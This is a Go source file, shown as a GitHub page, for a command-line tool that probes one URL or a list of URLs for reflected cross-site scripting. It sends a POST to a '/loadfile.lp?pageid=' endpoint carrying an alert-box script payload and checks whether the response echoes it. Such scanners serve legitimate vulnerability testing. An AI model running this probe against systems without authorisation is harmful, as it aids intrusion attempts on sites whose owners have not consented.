-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
91 lines (75 loc) · 2.04 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package main
import (
"bufio"
"flag"
"fmt"
"net/http"
"os"
"strings"
"github.com/fatih/color"
)
func main() {
var targetURL string
var inputFile string
flag.StringVar(&targetURL, "url", "", "Target URL")
flag.StringVar(&inputFile, "file", "", "Input file containing URLs")
flag.Parse()
if targetURL != "" {
fmt.Printf("[*] Testing single URL: %s\n", targetURL)
testURL(targetURL)
} else if inputFile != "" {
fmt.Printf("[*] Testing URLs from file: %s\n", inputFile)
testURLsFromFile(inputFile)
} else {
fmt.Println("[-] Please provide either a target URL or an input file")
return
}
}
func testURL(urlStr string) {
payload := `"><script>alert('XSS');</script>`
data := fmt.Sprintf("username=sample_username&userpassword=sample_password&login=Login")
xssURL := urlStr + "/loadfile.lp?pageid=" + payload
resp, err := http.Post(xssURL, "application/x-www-form-urlencoded", strings.NewReader(data))
if err != nil {
fmt.Println("[-] Request failed:", err)
return
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
scanner := bufio.NewScanner(resp.Body)
for scanner.Scan() {
line := scanner.Text()
if strings.Contains(line, "<script>alert('XSS');</script>") {
printSuccess("[+] XSS Vulnerability Detected!")
fmt.Printf("[*] Payload: %s\n", payload)
return
}
}
}
printFailure("[-] XSS Vulnerability Not Detected.")
}
func testURLsFromFile(filename string) {
file, err := os.Open(filename)
if err != nil {
fmt.Println("[-] Failed to open file:", err)
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
url := scanner.Text()
fmt.Println("[*] Testing URL:", url)
testURL(url)
}
if err := scanner.Err(); err != nil {
fmt.Println("[-] Error reading file:", err)
}
}
// printSuccess prints text in green color with bold style
func printSuccess(text string) {
color.New(color.FgGreen, color.Bold).Println(text)
}
// printFailure prints text in red color with bold style
func printFailure(text string) {
color.New(color.FgRed, color.Bold).Println(text)
}